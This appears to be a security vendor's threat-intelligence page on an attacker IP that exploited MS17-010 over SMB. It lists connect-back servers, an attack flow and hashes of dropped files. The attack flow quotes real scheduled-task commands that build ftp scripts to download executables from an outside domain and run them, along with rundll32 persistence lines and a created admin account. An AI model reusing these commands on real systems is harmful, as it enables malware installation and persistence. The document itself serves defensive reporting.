IP Address: 172.81.102.65Malicious
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IP Address:
172.81.102.65
Malicious
This IP address attempted an attack on a machine protected by Guardicore Centra
Threat Information
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Role |
Attacker |
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Services Targeted |
SMB |
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Tags |
DNS Query User Created IDS - Attempted Administrator Privilege Gain File Operation By CMD System File Modification Outgoing Connection User Removed CMD PowerShell Access Suspicious Domain Service Configuration MS17-010 User Added to Group Listening SMB Null Session Login Scheduled Task Creation Executable File Modification SMB IDS - A Network Trojan was detected Known Malware Download and Execute |
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Connect Back Servers |
139.5.177.10 223.25.247.240 173.247.239.186 74.222.14.94 185.112.156.92 |
Basic Information
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IP Address |
172.81.102.65 |
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Domain |
- |
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ISP |
- |
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Country |
United States |
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WHOIS |
Created Date |
- |
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Updated Date |
- |
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Organization |
- |
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First seen in Guardicore Centra |
2019-10-31 |
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Last seen in Guardicore Centra |
2019-10-31 |
What is Guardicore CentraGuardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More
Attack Flow
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IDS detected Attempted Administrator Privilege Gain : Windows SMB remote code execution attempt |
IDS - Attempted Administrator Privilege Gain |
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IDS detected A Network Trojan was detected : Possible Metasploit Payload Common Construct Bind_API (from server) |
IDS - A Network Trojan was detected |
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The machine was exploited using the ms17-010 vulnerability |
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Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 74.222.14.94:80 |
Outgoing Connection |
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PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 2 times |
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User admin$ was created with the password ************* and added to groups: Administrators |
User Added to Group User Created |
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Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 139.5.177.10:80, 173.247.239.186:80 and 74.222.14.94:80 |
Outgoing Connection |
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The file C:\Windows\System32\upsupx.exe was downloaded and executed |
Download and Execute |
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Process c:\windows\system32\upsupx.exe started listening on ports: 32831 |
Listening |
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System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times |
System File Modification |
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Process c:\windows\system32\u.exe generated outgoing network traffic to: triangleww.com:80 |
Outgoing Connection |
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Process c:\windows\system32\u.exe attempted to access suspicious domains: triangleww.com |
Outgoing Connection Access Suspicious Domain |
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The file C:\Windows\Inf\msiefsaa.exe was downloaded and executed |
Download and Execute |
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Process c:\windows\s.exe generated outgoing network traffic to: 185.112.156.92:8092 |
Outgoing Connection |
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The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe |
Download and Execute |
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The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe |
Download and Execute |
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Executable file C:\Program Files\Microsoft SQL Server\110\Shared\SqlWtsn.exe was modified |
Executable File Modification |
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The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\Tasks\my1.job |
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The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\System32\Tasks\my1 |
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The command line cmd /c echo open ftp.0603bye.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa |
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The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1 |
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The command line cmd /c echo open ftp.0603bye.info>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2 |
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The command line cmd /c echo open ftp.0603bye.info>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3 |
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The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok |
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The file C:\Windows\System\msinfo.exe was downloaded and executed |
Download and Execute |
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Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: js.1226bye.xyz |
DNS Query Access Suspicious Domain |
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Connection was closed due to user inactivity |
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Associated Files
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C:\Windows\SysWOW64\wpcap.dll |
SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9 |
282,360 bytes |
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C:\Windows\System\msinfo.exe |
SHA256: 0ec4653e8322a95a6999cf4dc636d691de9d1a9c2cb383296335923405b77b12 |
6,032,384 bytes |
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C:\Windows\SysWOW64\npptools.dll |
SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16 |
48,128 bytes |
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C:\Windows\Inf\msiefsaa.exe |
SHA256: c269441ca155758378b6db525bf607ee3ece7c41470963b1a73372fab6aeee40 |
302,510 bytes |
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C:\Windows\System32\upsupx.exe |
SHA256: 790c213e1227adefd2d564217de86ac9fe660946e1240b5415c55770a951abfd |
221,184 bytes |